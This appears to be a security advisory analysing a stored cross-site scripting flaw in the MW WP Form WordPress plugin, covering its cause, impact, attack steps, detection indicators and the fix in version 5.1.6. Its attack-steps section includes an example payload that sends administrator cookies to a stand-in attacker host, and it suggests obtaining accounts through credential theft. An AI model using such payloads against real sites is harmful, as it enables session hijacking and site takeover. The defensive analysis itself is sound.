CVE-2026-78364: 
WordPress vulnerability analysis and mitigation

CVE-2026-78364 is a Stored Cross-Site Scripting (XSS) vulnerability in the MW WP Form WordPress plugin affecting all versions before 5.1.6. The flaw allows users with a role as low as Editor to inject malicious scripts into form settings that are then rendered unsanitized in the admin dashboard, targeting high-privilege users such as administrators. It was publicly disclosed on August 28, 2026, with the CVE published on August 30, 2026. The vulnerability carries a CVSS v3 score of 3.5 (Low) and is classified as CWE-79 (WPScan, GitHub Advisory).

The root cause is insufficient input sanitization and output escaping in the MW WP Form plugin's form settings handling (CWE-79: Improper Neutralization of Input During Web Page Generation). Specifically, form settings related to the Inquiry Data List feature are stored without sanitization and later reflected back in the WordPress admin dashboard without proper escaping. An attacker with Editor-level access (or higher) can craft malicious form settings containing JavaScript payloads; when an administrator views the affected admin dashboard page, the payload executes in their browser context. No authentication bypass is required — only a valid Editor-role account is needed (WPScan).

Successful exploitation allows an attacker with Editor-level privileges to execute arbitrary JavaScript in the browser session of an administrator visiting the affected dashboard page. This can lead to session hijacking (theft of admin cookies), unauthorized administrative actions (e.g., creating rogue admin accounts, installing malicious plugins), and potential full site compromise. The attack is persistent (stored), meaning the payload executes every time an admin views the affected page until it is removed (WPScan, GitHub Advisory).

There is currently no public proof-of-concept exploit available; WPScan has indicated the PoC will be disclosed on September 11, 2026, to allow time for users to update. There is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires a valid Editor-role (or higher) account on the target WordPress site, limiting the attack surface compared to unauthenticated vulnerabilities (WPScan, GitHub Advisory).

1. Obtain Editor-level access: Acquire a WordPress account with at least Editor role on the target site running MW WP Form < 5.1.6, either through legitimate means, credential theft, or social engineering.
2. Navigate to MW WP Form settings: Log in to the WordPress admin panel and access the MW WP Form plugin's form configuration, specifically the Inquiry Data List or related form settings.
3. Inject XSS payload: Enter a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an unsanitized form settings field.
4. Save the malicious settings: Submit/save the form configuration. The payload is stored in the WordPress database without sanitization.
5. Wait for admin to trigger execution: When a high-privilege user (e.g., administrator) navigates to the affected admin dashboard page, the stored payload is rendered and executes in their browser.
6. Harvest credentials or perform actions: The attacker's script can exfiltrate the admin's session cookie, perform CSRF actions on their behalf, or create a new administrator account for persistent access (WPScan).

• Logs: WordPress admin access logs showing Editor-role users accessing MW WP Form settings pages; unexpected admin dashboard visits shortly followed by unusual outbound requests from the admin's browser session.
• Database: Presence of JavaScript tags or encoded script content (e.g., <script>, javascript:, onerror=, onload=) in the wp_postmeta or plugin-specific options tables associated with MW WP Form settings.
• Network: Outbound HTTP requests from admin browsers to unknown external domains carrying cookie or session data as query parameters, potentially originating from the WordPress admin dashboard page.
• File System: Newly created or modified WordPress user accounts with administrator privileges not corresponding to legitimate activity, which may indicate successful session hijacking and privilege escalation following XSS exploitation.

The vendor has released MW WP Form version 5.1.6, which addresses this vulnerability by properly sanitizing and escaping form settings before output. All users should update the plugin to version 5.1.6 or later immediately. As interim measures, site administrators should audit and restrict Editor-role assignments to only fully trusted users, monitor admin dashboard access logs for anomalous activity, and consider deploying a Web Application Firewall (WAF) with rules to detect and block XSS payloads in form submissions (WPScan, GitHub Advisory).